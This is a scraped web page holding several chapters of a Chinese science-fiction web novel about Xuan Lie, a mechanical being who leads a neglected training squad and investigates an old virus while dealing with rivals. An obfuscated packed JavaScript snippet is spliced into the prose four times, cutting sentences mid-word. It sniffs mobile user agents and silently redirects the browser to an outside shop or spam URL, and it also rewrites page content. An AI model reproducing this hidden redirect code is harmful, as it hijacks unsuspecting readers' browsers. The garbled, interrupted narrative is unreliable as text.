“这是什么?”玄烈轻轻捏着令牌的一角,看不出什么门道。 “你可以录入你的指纹。” 舜真轻敲令牌中心,忽有一颗光电出现,转眼就膨胀成一个光团。不算扎眼,更像是夹在两层板面中间的电子光。 “我……没有指纹。” 玄烈乖巧地摊开手给舜真看。舜真还不清楚指纹的事情,在看到玄烈十指尖全是灼烧得混乱不堪的疤时,她惊讶地吸了一口凉气。 “怎么回事?” “程炼要抓我去实验室测试指纹。” “你自己烫的?” “是。” 舜真沉默了。玄烈不知道她在想什么,只好跟着陷入沉思。 很快,舜真恢复了笑脸,“没事,录你的虹膜也一样。” 玄烈照做,将小方块聚到脸前,聚精会神地盯着屏幕上方一颗很小很小的识别孔,瞬间就有紫色闪电一样的光束在屏幕内闪来闪去。如果这光是浮跃在屏幕上方的,恐怕玄烈的眼睛已经被电焦了。 一个原始简易的大对勾在闪电撤去后出现在屏幕上,红艳艳的,有点老土,表示信息录入已完成。同时,门口响起敲门声。 “进。” 舜真话音未落,一个身影就闪了进来。 是个十六七岁眉清目秀的男孩,个子不算太高,一米七五左右,略有些瘦削,穿着不太正规的休闲版型战斗装,眼睛很亮。 “这就是我提到的,玄烈。”舜真介绍道。 那男孩尚未开口,玄烈就眼眸一亮,“是你?” 男孩一脸自信的样子,眉宇间深刻着刚正顽强的意志,如火山喷发般炯炯有神的目光定定地落在玄烈身上,“是我。” “你们,见过?”舜真问道。 “见过。”“没有。” 二人同时回应却各说各话,舜真笑出声来,“到底有还是没有啊?” “是你在暗巷,和我打架?”玄烈俯视着男孩。 “我……没有。”男孩一脸无辜。 “什么暗巷?”舜真也跟着疑问,“棱镜,你刚成型就跑出去打架了?” “刚成型……你是机械体?”玄烈接着问,他有些急,话语间就带着逼迫的味道。 “他叫棱镜,是颠转层斩翼军的队长,在这里的所有斩翼军都归他调遣,”舜真站起身来把二人各自摁坐在分别的位子上,“你刚绑定的正是召唤斩翼军的系统,如果你有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你怎么知道是卧底?”玄烈问。 “其实有可能他的目标跟你我都没有关系,只是针对舜希罢了。但……我很不爽。” 好呗,还是公报私仇。玄烈没拒绝,但他觉得,此时此刻是个绝佳的好机会,能让他讨来点有用的消息。 “我在哪能找到他?” “他是三队队长,但三队很少执行正式任务,你可以问问你的队员,他们可能会知道三队的动向。”舜真邪笑着说。 “应该不难。”玄烈坐直了身子,搞得棱镜也跟着端着可乐坐得板正。 “在那之前,我想知道……第二战备的具体情况,指南在程炼手里,我不放心。” 舜真“哼哼”笑了两声,边笑还边点点头,意思是你终于问到点上了。 “第二战备先前已经通过福戒和骨环送进来了,这件事,程炼知情。就目前的进度而言,第二战备还不能很好地作为你的帮手派上用场。而且我不知道这件事程炼怎么想,他有没有和舜希通气,或者他到底是不是已经背叛舜氏,我不得而知。” “你一点都不担心吗?”玄烈不解。 “总会有些事掌控不了的,担心有什么用呢?”舜真坦然地说。 “那第二战备在哪?我能去看看吗?”玄烈问。 “不行,”舜真拒绝的倒是干脆,“第二战备是完全不受病毒感染的纯净体,在尚未稳定的情况下,你的靠近,可能会引发能量场紊乱。对你们任何一个都有可能会有不可控的影响。” “那……” 玄烈还是不死心地想问一句。 “你们确定第二战备还在这里吗?就没有……偷跑出去的可能性吗?” 140. 过程(2) 灯塔上镶嵌着的做旧古老铜质钟表算得上是这座颠转城市里唯一带着点历史气息和人情味的东西。 与休息时间切换至工作时间后爆发的第一声暮钟一样沉闷的声响分秒不差的,是玄烈踏进训练中心的脚步。 好歹也是个队长,虽说过去的日子没怎么认真体会过机械体应有的训练生活,也不清楚其中的时间安排,更别说当队长了,玄烈一头雾水的情况下觉得还是得来露个脸,看看他手下的孩子们。 昨晚没怎么休息好,脑子里始终蒙着一大堆辨不清戳不破的谜团,玄烈没设置强制休眠的时间,就这么想着想着过去了大半夜。 等到他想到自己还没睡觉的时候,已经到了一些即将考核的机械体起床的点。 昨天离开舜真办公室时玄烈没得到什么有用的答案。 她只说:“不会,不经过我们的批准,第二战备无法离开基地。” 说了和没说不是一样的…… 所以会不会那个神秘人能和第二战备扯上什么关系呢?或许所谓的血只是某种掩饰,或许对方想表达什么…… 或者干脆就是韶赋修派来的呢?正好支开玄烈达到杀害伏策的作用…… 训练中心比玄烈想象得要更大更专业,从进门开始长而辽阔的厅就被数不清的长廊切割成细碎的好几个部分。 白日般锃亮的光铺满每个角落,晶莹平滑的大理石地板河水一样映出所有人的倒影。 这里囊括舜氏最先进的一系列机械体技术,展示机械体军队整体全方位素养评估的数字被全息投影在岔路口间,不同部门不同系统分属的不同队伍用不同颜色标注的密密麻麻的字码更是铺天盖地。 人来人往,步履不停,大家都忙到七窍生烟。“哒哒哒”的脚步声都快成为这座大楼的心跳,一停止就会死亡。 跟着腕表的指示,玄烈独行在急匆匆的人群间。沿着一路高档、高危、高等级者才有进入的高级训练舱,玄烈从大道走到小道,又一路向下,直到地下。 在只有唯一一条路能通向这里的一扇小门前,腕表提示他走到了目的地。 门是金属门,却不是很机密的样子,大概他一拳都能捣得门凹进去一半。安安静静的,唯有来时的走廊带着点光。 就在玄烈思索着要不要敲敲门时,门从内打开了。 一只头发乱七八糟衣服也被扯得东一片西一片的五代小孩一脸怒气地拉开门就要往出走,接着就结结实实撞到了玄烈身上。 “啊……队、队长!” 这小孩一声喊,训练室内几只同样扭成一团的小孩们也纷纷一愣,赶紧互相推搡着站好。 撞住玄烈的小孩捂着自己发红的额头,眼神闪躲着不敢看玄烈。但玄烈认出来了,这是曾经哄骗他喝辣椒水的孩子,曾经编号为“5x0142”的那个孩子。 “在做什么?” 玄烈径直踏进了最为偏僻的训练室。这里天花板很低,连带着气压都降了下来。 黑到反光的天顶和地板,一块块天花板砖和地板砖中缝藏有灯线,四周的墙壁是纯白色的,但呈有不规则的奇怪灰色纹样。 玄烈走进了才知道,那纹样是胡乱的掌印和脚印。 室内器械不多,简单的三两台力量机器,更多的空间被用作摔跤场。 估计刚才他们正是在练习摔跤,却难免因为不服气而互相呛打起来。 “报告队长!我们在训练!”个子最高的女孩率先回答道。她是全场最利落整齐的孩子,不怒自威的样子估计也能镇住不少人。 “为什么要打架?”玄烈扭头看向门口的孩子。他还像做错了事一样缩着脖子,不敢抬起头来。 “报告队长!”这是另一个探险家装扮的男孩抢答,“我们说好空手对打,他要动枪!” “过来,”玄烈像门口男孩招了招手,“你叫什么名字?” 在所有人的注视下,男孩慢吞吞蹭了过来,“我,我叫崎朗……” “崎朗……你认得我吗?”玄烈问道。 男孩短暂地扬了下眼睛,脑袋却还是稳稳垂着不敢动,“您是、是队长。” “为什么动枪?”他越不敢看玄烈,玄烈越是要盯着他。 “他们、他们……”男孩支支吾吾半天说不出一正经理由来。 “他们故意欺负你?” “那、那倒没有……” 还挺诚实。 玄烈也能大概猜到发生了什么,“把枪给我。” 男孩只好不情不愿地把枪放到玄烈手里。玄烈掂了掂,只是把最普通的手枪,样式老旧威力不大。 “你们日常就是在这训练吗?”玄烈拿着枪,在训练室里来回踱步着问,“没有任务?” “有的,队长,”女孩答道,“我们前天刚刚完成了帮助市中心一位老科学家调查她女儿失踪的案件。” “失踪?找到了?”玄烈问。 “是的,”女孩点点头,“我们找了一圈才知道她女儿是一本她科研成果的手写稿。可惜在洗衣机里被搅烂了。” “嗯,除此以外呢?”玄烈问道。 在场的机械体们均面面相觑,有些尴尬地摇摇头,“报告队长……没有了。” 玄烈在名册上看到过,这些孩子就是二队所有的人了。 “舜氏那么多机械体,除你们外都归到一队和三队了?” “报告队长,除一三队外还有一个N队是董事长亲自带队的。” “你们一直就在这里训练吗?” “这个地方是……遥遥姐帮我们找的,我们本来,是该被淘汰的一批。”女孩干笑着说。 所以这些孩子可能是因为成绩不达标或是曾经受过伤而来到这里组成二队,是最不受重视的,被驱赶到这里,暗无天日地每日互相切磋练习。 借以来打压玄烈罢了,舜希的用意不过如此。 “我知道了,”玄烈把枪放到一个孩子的手里,对孤零零站在一边的崎朗招了招手,“来,把我摔倒,枪还给你。” 看上去崎朗可能真的把过往的事都忘了,他看向玄烈的眼睛里只写着害怕和抗拒,开门时身上环绕的火气全都被吓退到九霄云外了。 “上啊!”“快点啊崎朗。”“你怕什么?” 孩子们在玄烈身后朝崎朗大声喊叫着,他们越喊,崎朗的头就越低,都快栽到地下去了。 玄烈大步走过去,揪起崎朗的领子把他拎到场中央。他没使多大力气,手下也小心着没把对方弄疼,但崎朗还是像惊弓之鸟一样在空中无助地不停扑腾。 把他放下后,玄烈就后退出了安全距离,给崎朗一点准备时间,又解开了自己袖口的扣子。 他今天特意穿得板正,因为出门时一心想的是先来这看看情况,再转而去找杨宁和向繁森谈正事的,压根没想到还要打架。 “你还记得吗?你曾经说我很没用,浪费资源,不如随便找个角落等死。” 玄烈话一出,崎朗就双眼赫然瞪得很圆,他惊恐地抬起头望着对面人,从原本安安静静的怂开始浑身哆嗦。 “我、我不……不、不记……” 讲话更结巴,看来是想起来了。 “别害怕,我不是想报复你,”玄烈甩了甩手臂,那一针疫苗带来的负重感已经彻底消退了,“既然你会被气到动枪,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13473301|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就说明他们或多或少比你强一些。我就是想看看你们的实力,给你们安排别的训练项目,不要整天窝在这里,不能见光。来吧。” 袖子已经被卷到胳膊肘了,玄烈拍了下手,表示让对面人放马过来。 崎朗还是恐惧得不敢动弹,但在旁边人一声声鼓动下抹不开面子,只好眼睛一闭,跟头牛似的蛮横地冲来。 毫无设计,毫无章法,玄烈看他那劲就知道最近的训练十有八成都在偷懒。于是他只略微侧身,在对方扑来时顺藤摸瓜顺手牵羊又一次抓住了对方的衣领,再顺势跟崎朗一起原地转了个圈,回身就像丢保龄球一样又把崎朗原路返回丢了出去。 脑袋顶上冒星星的崎朗东倒西歪半天后才站稳了脚步,摇摇晃晃扶着脑袋看着对面的三重影玄烈和哄笑的一大片人,疑惑自己是脑子甩飞了还是这根本就是个梦。 有点恨铁不成钢。 玄烈长舒口气后快步走了上去,拽起崎朗的胳膊就要来个过肩摔。惊吓之余,崎朗失措地双手双脚紧紧箍在了玄烈身上。 玄烈越动,他就箍得越紧,像条笨重的泥鳅,一个劲在玄烈身上蛄蛹。搞得玄烈哭笑不得。 好了,就到此为止吧。玄烈知道自己还有重要的事要做,没空在这浪费时间。 手掌在背后轻巧一番,强大的能量骤然从他手心爆发出来,红到发青的光,不知道的还以为玄烈徒手捏爆了一个炸弹。 冲击波眨眼间就把玄烈身上的人震飞了出去,还是玄烈一只手抓着其胳膊没松开,才没让崎朗重重摔在墙上。那一摔,恐怕是要命的。 可内伤没能放过他。落了地的崎朗在小孩们震惊的目光中跪地不起,趴在地上干呕个没完,可怜的姿态像个刚从水池里被救起来的小狗。 玄烈蹲下来托起他的下巴,环绕着浓雾一样火焰的指尖在他嘴边一点,潺潺火流噌地一下钻入了崎朗的嘴角,顺着他的咽喉顺流而下横冲直撞。 滋味和灌了大口金属盐酸辣椒水的味道差不多,崎朗立刻爆咳不止,咳到胸腔都响起不安定的危险嗡鸣。 玄烈从一孩子手里拿过枪塞进崎朗手里,“以毒攻毒,很快就会好了。” 他转而起身走到那女孩面前,“你叫什么名字?” “报告队长!我叫崎钥!”女孩兴奋的双眸里闪烁着这颠转城市天幕上不曾有的星星般的光芒。 玄烈点点头,“三队训练所在哪里?我要找孑盏。” “报告队长,孑盏队长通常不在三队训练所,你可以去市区新舜氏中心找他!”崎钥答道。 “我知道了。” 玄烈又环顾了一圈房间内令人透不过气来的那股阴沉味道,朝门外走去。 目送着玄烈离开的小孩们你看看我我看看你,一个个嘴角扭曲得不知该上挑还是下压,崎钥眼里的光很快传递到每个孩子眼里。 就在这时门口那位又折了回来,“下午放半天假,回头换新的训练室,等我通知。” 说完就又潇洒地离开了,留下本就激动的孩子们直接叫唤着跳起舞来,脚步“咣咣”地踏着地板。 他们好像终于日子有了奔头,就如同干涸枯竭稻田里一棵棵丧得七零八落的水稻,突然见到了天洒瓢泼且带有甜味的雨,恨不得原地扭起来。 孩子们的声音渐渐远去,玄烈收起腕表的通讯界面。现在舜氏这里中小事宜都交由绯篱打理,他刚给绯篱打了电话,问能不能把孩子们迁出去,绯篱很痛快地答应了。 去找孑盏还得花点时间,在此之前……站在总训练中心大厅与长廊间那被漫天遍地立体数据信息挤到快要水泄不通的交叉口,玄烈拨通了向繁森的电话。 141. 过程(3) 接电话时向繁森那边好一阵狂风夹带着人群嘈杂的声音,玄烈就问了他一句在哪、有没有时间,那边就劈里啪啦递出一堆话来。 玄烈也没听懂那家伙到底在干嘛和究竟想表达什么,话尾就只记住了个“一小时”和“去办公室等我”。 去的路上恰逢研发部从舜氏地下囚禁室运来了好几只装在大箱子里的机械体,玄烈顺道搭了把手,帮几个身形瘦弱满头大汗、天天坐在办公室里养尊处优金娇玉贵的男人把箱子推到指定地点去。 那是几只很高档的皮箱,玄烈还没见过这么大的皮箱。他围着箱子转了两圈,敲了敲,发觉里面竟是上了金属板的,所谓的软只局限在表层。 去目的地的路上箱子里的东西一直在闹腾,叮铃咣啷扭来扭去,但估计是闹得最凶的时候已经过去了,现在顶多是小打小闹。到后来玄烈甚至还听到了微弱的呼吸声,像是在打鼾。 “他们是机械体吗?”趁旁边人大汗淋漓没空转脑筋的时候,玄烈才问道。 “是……是十几年前的老家伙了……”一个带着琥珀色细框眼镜的、瘦得跟猴似的一个男人边喘边答道。 “做什么实验?”玄烈小心地问。 “病、病毒……”男人丝毫没有防备。 “是异种病毒吗?”玄烈接着问。 问到这里,那个男人停下脚步干脆松开了手。他这边一泄力,玄烈那头手上的力量就不平衡了。 箱子整个横了过来,“咣当”一声重重砸在地上,还险些中伤另一个人的脚。 “你有病啊!”那人喊道。 男人摘下眼镜蹭了蹭头上的汗,“走不动了……” 重新戴回眼镜时男人才意识到自己忽略了玄烈的问题,忙不迭答道:“不是不是。我们在这些旧有的机器人身上发现了另一种未经记载的病毒,和目前我们主要研究方向的病毒很不一样。” “有多不一样?”玄烈奇怪道。 男人左右张望后压低了声音,“看在你帮我们的份上,给你透露一点点……我们发现,现阶段我们所研究研制的大部分病毒是通过侵蚀机器人最核心的认知和处理系统以达到控制和破坏的目的,抑或是致人丧失理智,开始失控和进行无差别攻击……但是呢,这种病毒不太一样,而且它……不太像是病毒。” “什么意思?” “它更像是一种见效快速显著的兴奋剂,药效猛到绝对会被列为违禁的那一种,并且这种病毒给机器人本身带来的伤害也是毁灭性的,如不加药物干预的话,一经感染,寿命基本不超二十岁。何况它最致命的一点是……” 男人探了探身子,几乎是趴到玄烈耳边说的。鼻腔立刻钻入浓厚的皮制物品的味道,玄烈不由得蹙起了眉毛。 “研究认为这种病毒不仅作为虚拟出现,现在还有了人类感染的可能。” 玄烈假装对此不太感兴趣,简单“哦”了一声就招呼几个人继续搬起箱子上路。箱子里的东西睡熟了,连刚才天翻地覆的动静都没给吵醒。 “对了,那‘兴奋剂’、‘药效猛’……是什么意思?”玄烈装作不经意地问。 男人又恢复成气喘吁吁时日无多的样子,“就是,感染,的,机械体……会在,病毒发作时……能力大增,变成,怪、物……” 那就是我身上这种呗。 玄烈沉默了,他怕下一秒这群人发现后会把他也装进这样的箱子里,到头来除了在里面撒泼打滚就是睡觉。 一连三五个来回,把几只箱子都送到目的地后,那几个人像是把这辈子没搬过的重物一次性搬完了,一个个都歪斜着身子躺在箱子上喘个不停。 临走时,玄烈随口问了一句:“这种病毒,不就是二十多年前韶赋修发明的吗?” 男人的眼镜滑落到地上,他也没劲去捡。平滑的脸上顿时生出许多褶皱,仿佛一口气老了十岁,狭窄精明的小眼睛溜溜地撇了玄烈一眼,男人阖上了眼。 “那不一样……韶赋修的病毒没这劲大……” 装潢考究沉敛奢华的公共图书馆门口,绯篱独自抬头望着繁茂树影背后的天空。在层层叠叠斑驳树叶的遮挡下,一片片形状不规则的空隙就像是繁星。 这里已经很少有人来了。被风暴力剥落的叶子就躺在地上等待消亡,图书馆大门紧闭,灰尘在安睡在门前,日日夜夜等不来一个唤醒它们的脚印。 玄烈从小路跑来,额前的头发刮起,呆愣愣地斜立着,他顾不上这些。 绯篱笑着从兜里掏出一个眼睛大小的合金块递给玄烈,其中一面密密麻麻的不知刻的是什么纹路。 玄烈接过那块很有分量的金属坨,表情有些窘迫:“你很忙吧,我……我还总得要你帮忙。” “我还怕你有事不会找我。” 绯篱笑眼盈盈背起手,她睫毛很长,一颦一笑都在用眼眸扇风。栗色长发已经垂到腰间,两个婉约的髻简单扎在脑后,其中还夹着一干花发卡。 “我能帮到你的不多,但无论是什么我都会尽力……因为,我在这里也没什么朋友,能帮到你,我很开心。” 更多话都是无声的,它们由心出发,飘散在空气里。很多意思说出来就减了半分,唯有咽下去的,才是实打实的沉重。 “谢谢你。”玄烈盯着手里的东西说道。 “好啦,我要去做我自己的事了,”绯篱笑得很甜,“虽然我不知道你要这个做什么,但是请放心吧,我不会把这件事透露给任何一个人!” 说完绯篱就离开了。玄烈清楚地看到,在绯篱消失在拐角前,她还蹦蹦跳跳了几步,好像真的很开心。 这块金属坨承载的意义比它本身的价值要高得多,玄烈紧攥在手里,拐进了图书馆旁边的小巷子。 纪凛烛提过一嘴的事情玄烈记得一清二楚,两侧高楼投下的阴影将他吞没。玄烈拿出高强度手电筒,将前方灰尘遍地、枯叶满布甚至墙上还扒着干巴藤蔓的小路。 这使他想起了那个雨天那条小巷。 玄烈高估了这里的路况,他甚至不需要刻意探索,因为胡同里只有这么一扇封死的门。 那是风霜侵磨过的颜色,依稀可见墨蓝的本色,却被时间染成大片大片的枯褐,表皮剥落成花猫,掀起的金属皮轻轻一碰就碎了。 玄烈从积尘间摸索到一扇小显示屏,他摁下按钮,再将引满纹路的合金块放在微型扫描器前方。 静待片刻,这扇门时隔近半年,再度被开启。 这是玄烈拜托绯篱从信息库中调取的纪凛烛虹膜的刻印件。他想到纪凛烛曾给他讲到这里封存着不少二十年前的旧资料,其中或许就有关于这种奇异病毒的记载。 来这里前,玄烈记得炳灿曾提到过地下室那帮机器人身上感有二十年前的病毒,于是他故地重游,来到了前往机密实验室的那条旧路,以及两侧亘古不变的、被人忽视的囚笼。 玄烈无比熟悉,那日他们第一次来到地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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封条一撕就开,意思是只防文明人。玄烈也管不了那么多,随意找了个桌子坐下,任灰尘把他扑成一个土人。 他感觉自己好像幸运过头了,幸运到不怎么需要动脑子就找到了需要的材料。尽管资料里有用的信息并不多,既没写如何研制的,也没写怎么治疗。所谓的发展路程也被一句“经有关研究决定,禁止此项病毒项目研究”而彻底堵住了嘴。 正认真学习着,玄烈的腕表便“嘀嘀嘀”响个不停,点开就是向繁森的破锣嗓,“嘛呢!不是一个小时吗?我都回来一个小时了还不见你人呢……” “我马上到。”玄烈切断了通话。 这里光线不好,怕错过犄角旮旯藏着的一些机密小字,玄烈决定拿回去细细品摩,让这本资料重见天日。 玄烈从桌子上跳了下来,大力拍了怕资料封皮上的土,颗粒“云朵”再次生成在他周围。玄烈不慎大吸了一口,顿时咳嗽不止。 强光摇晃间,玄烈目光捕捉到资料某页标着的一行字。 果然是灰色的,果然是很小的字,果然夹在页间。 那写着:研发者——纪棠烬。 突然,程炼的声音于背后响起。 “玄烈。” 玄烈抓着那本资料,立刻汗毛倒立,像一只受了惊的刺猬。 142. 过程(4) “你在这做什么?” 程炼双手插着兜,不紧不慢地走进来。他像是很熟悉这里的样子,依旧不改那白色实验服,但每次玄烈见他都是体面的崭新样子,好像这白色实验服根本就是日抛,每天都一样,却又每天不重样。 “我需要向你解释吗?”玄烈语气并没有刻意嘲讽的意思。 于是程炼也没被刺痛到,他只哼了一声,然后一脚踏进昏暗无光的室内——在玄烈刚听到程炼的声音时,他就条件反射般把手电筒关掉了。 “那你发现了什么?”程炼接着说。 “一些二十年前的旧资料,”玄烈摊着手,意思显然易见,“我还有事,我要走了。如果你找我有事的话,换个地方谈。” 说着玄烈就迎面对着程炼往出走,那本资料被他藏进背后,他双拳紧握,时刻提防着程炼可能做出的行动。 但程炼没有,他直挺挺站着直到玄烈越过他走出了门,片刻,他也折身退了出来。 “我在这里这么多年,从来不知道有这么个地方。”程炼说。 程炼的新义肢做得很逼真,连目睹过他失去手臂的玄烈第一眼也不太敢相信这是一只假胳膊。 二人退出后,门就自动合上了。他们并肩站在门前,玄烈也学着程炼的样子把手揣进兜里。兜里有合金块,玄烈一边心里盘算着程炼到底想干什么,一边手里倒腾把玩着这块冰冰凉的金属坨。 “那你怎么知道我在这?跟踪?”玄烈问。 程炼冷笑一声,“跟踪?用不着,我自然有办法搞到你的行动轨迹。” 懒得跟他讲,玄烈扭头就往胡同外走。 但他没走两步,身后就有咯吱咯吱的皮鞋声跟了上来。 “我是要提醒你……” 玄烈停下脚步。 “如果你还妄想打败什么讨回什么,那就不要寄希望于别人。你应该知道,人与人的立场不同,任何所谓的真心和付出都是有代价的。” 话落之后有一段长时间的空白,胡同里阴风萧索,从玄烈正前方吹来,吹得他嘴角灌风,牙龈一缩一缩地冷。 风全让他挡住了,便宜了程炼这混蛋。 玄烈转回身,“所以你思虑再三的结果是甘于现状?” 光也从玄烈背后投来,这下他的面孔遮蔽在阴影里,程炼的表情他倒是能看得一清二楚。 “我的目的向来是击溃潼氏,所以,我是成功的。至于韶赋修,我仍然身处舜氏,等待着可以剿灭他的那一天。” “那你特意来提醒我,是因为我又有了利用价值是吗?” 程炼肩膀很宽,光亮穿过他的身躯形成长长的影子打在背后的墙上,平添了他的气场。 “我不了解那些所谓对舜真领导的舜氏忠心耿耿的那群人,只是我恰好看到,他们在做一些有违他们号称的初心的事情。” 程炼说得义正言辞,丝毫看不出是打小报告的表情,“我不喜欢绕,大部分时候说什么就会做什么。你在调查病毒的事,是吗?” 玄烈眉毛一挑,“你怎么知道?” “整个舜氏,感染这种病毒的,除了你,只有舜真。” “你早就调查过?”玄烈困顿道。 程炼嘴角一咧,不以为然地仰头高高凝望着那束射来的光。一张被强光照射下惨白的脸,一道令人毛骨悚然的疤痕。 “很多年前我受舜停的命令扳倒舜真,所以调查了她希望能找到突破口。早在给她做合成机械手术的时候我就发现了她很不对劲,后来就尝试了解这种病毒。可惜关于这种病毒,舜氏上上下下没有一点有用的信息。不过那时舜真很少插手舜停的事情,她不再对我们产生威胁,我也就没有继续往下查了。” “然后呢?”玄烈尽量表现得不那么积极。 “然后你出现,我抱着试试看的态度采样研究,得到了和舜真体内病毒同样的分析结果。但我无法把你抓去做实验,舜真不会同意的……直到进入颠转前,舜真公布了自己团队的新类疫苗研发项目。” “疫苗?不会是……” “是,”程炼傲慢地说,“因为战争的事,项目一直被压制,等到进入颠转后才在舜希手里重启。美其名曰防控病毒……你不觉得奇怪吗?为什么偏偏你注射了,你的病毒就被激发了?” 连番的信息轰炸再次把玄烈击回思绪的谷底,他发呆的间隙,程炼已经悠然从他身边走过,迈步离开胡同。 “只是为了针对我?”玄烈弱弱地问。 皮鞋声戛然而止,但玄烈半天听不见对面人回话。他抬起头,才发现程炼也一直盯着他。 “除了舜真……还有杨宁,你小心他和舜希的来往。向繁森,他的个人资料有造假的嫌疑。还有遥遥。你要知道,一个幼稚娇气身无长物的普通人是不可能孤立无援地在鱼龙混在的舜氏活下去,有舜真庇佑也不行,毕竟前些年的舜真,话语权还不如食堂的一个厨子。何况为了打击她,舜停一定会使手段给她颜色看的,但遥遥今天还在这里,甚至攀得比舜真更高……” 程炼有意留下了不可捉摸的空档让玄烈自行消化理解,过了一会,他补上了一句:“言尽于此。” “要我相信你吗?”玄烈也走出了那片阴森森的胡同,“你不是还要置我于死地?” 程炼抱起手臂,“不冲突,我仍旧会关注你,等到你找到开始实验室的指纹,我依然会想办法拿走我要的,那时……你就自求多福吧。” 说完程炼就昂首阔步地走了,像头威风的大鹅。玄烈沉默着遥望他远远离开,手腕又响个不停。 他另一只手握住腕表,想到向繁森又要叨叨个不停,这才心如死灰地往大楼走去。 “不是说办公室等我呢吗?哪去了?”向繁森往单人沙发上一躺,惬意极了。 玄烈坐在他正对面的沙发上,低头看着两脚间的地面,略显过时的白色瓷砖,深灰色填缝。面前的茶几像是不锈钢的,样子跟货架一样,十分没品味。 办公室不大,窗子也很小,除了茶几周围的一圈沙发,根本看不出是办公室的样子。 “为什么把办公室修得和厨房一样?”玄烈问道。 “我本来就是从食堂出来的,告诉自己不要忘本呗!”向繁森咯咯笑着,掩饰自己那差劲的审美。 看着向繁森端起茶几上那还算精致的骨瓷雕花杯,玄烈也学着他的样子品了口向繁森给沏的红茶,说道:“我碰到程炼了,说了几句话。” “你和他能说什么,”向繁森没好气道,“下次你直接告他有事,走就行了,不用理他。” “我来是想问你……你曾经说你在实验室里的芯片上动了手脚,是真的吗?”玄烈问。 听此,向繁森被嘴边热茶烫得一激灵,“怎么,你又要想办法打开实验室了?” “我一直都想。你的答案决定我怎么去做。”玄烈放下茶杯。 看着玄烈一副正义凛然的样子,向繁森犹豫了一会,才肯开口,“好吧,的确是……我编的。” “为什么?” “我确实也想打开实验室,当时跟着你们也是想借你们的手去做,这样我不用担风险。根本没有什么跟我孩子匹配上才能用的事,那全是屁话。但确实芯片并不是研发完成的状态,我是担心万一打开后你们谁兴致冲冲安装上去,会有意外。” “所以最好的办法是我取出后交给你,让你完成进一步的研发?”玄烈问。 “没错。”向繁森认真点了点头。 可是玄烈怎么都觉得奇怪,好像有谁凭空占便宜了呢…… “那你真的有孩子失踪了吗?”玄烈问道。 一双粗粝的手有些窘迫地握着,向繁森脸上的笑容变得勉强,“那些……不重要。” “但你确实因此一直记恨着老董事长,对吧?” “等我有朝一日下了地狱,再找他算账。” 一切化为一声叹息,向繁森的表情显然是不想谈论这件事。他轻咂了口茶,看到对面那只茶杯静默地被放在桌子上,徐徐热气缓慢攀升。 “味道不好吗?”向繁森问道。 “挺好的,只是我……很少喝茶。”玄烈说。 “我也是,”向繁森放下杯子,“我对很多茶过敏,所以也很少喝。” “嘀嘀”两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13499251|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声,腕表上突现一个信封样式的光点,玄烈点开发现是杨宁发来的信息。 “怎么了?”向繁森不经意地往这边瞥了两眼。 “是杨叔,叫我过去一趟。” “哦,他就在隔壁。”向繁森往旁边一指。 玄烈摇摇头,“他说他在中心大楼。” “就是那个在市中心的,准备被打造成新舜氏的楼?他怎么也跑那去了?” “不知道,”玄烈点退腕表里的信封,“他就说有事,让我半个小时之后到。” “好办,”向繁森大手一挥,“派个飞车送你就行了,五分钟都用不了。” 玄烈没有拒绝。早先他给杨宁发了条消息要问实验室和第二战备的事情,到现在才有了回复。 杨宁在信里表示此事不好明说,要亲口给玄烈讲。 原本局势还算明朗,结果到了这里越发混乱了。新的人到来,旧的人又开始虚实不明探不清路数。 玄烈心烦得很,他自然知道信里什么都不可能问出来,就是想试探试探。与其像从前那样坐以待毙,不如主动出击寻找突破口。 “你以前……在第二战备研发团队里,对吗?”玄烈突然问道。 向繁森一愣,“你怎么知道?” “而且因为犯了错,导致第二战备研发进度大打折扣,甚至难以成体,对吧?”玄烈说。 “嚯,了解地够详细啊!”向繁森敛起他的震惊,恢复到泰然自若的状态,“再说说,还有什么?” “你犯了什么错?”玄烈没有回答向繁森的反问。 玄烈的话听似咄咄逼人,实则脸上是一副关心则乱的表情。 向繁森干笑了两声,“好吧,其实只是因为,当时芯片项目也取得了一些进展,舜延给我许诺了不少酬劳。他一边说好话,一边话里话外希望我能替他物色芯片实验的‘小白鼠’。 “那段时间我头脑很混乱……我在第二战备研发团队只是个边缘角色,一次他们让我调试存放第二战备的精密试验箱,我手一抖,调错了温度,导致第二战备内部一些精贵的金属内脏变了形。” “然后呢?”见向繁森不说话了,玄烈追问道。 “然后第二战备就从一个即将诞生的‘生命’变回了死物,进度恢复预计还要好几个月。”向繁森表情诚恳。 “那你确实见过第二战备,是吧?”玄烈问。 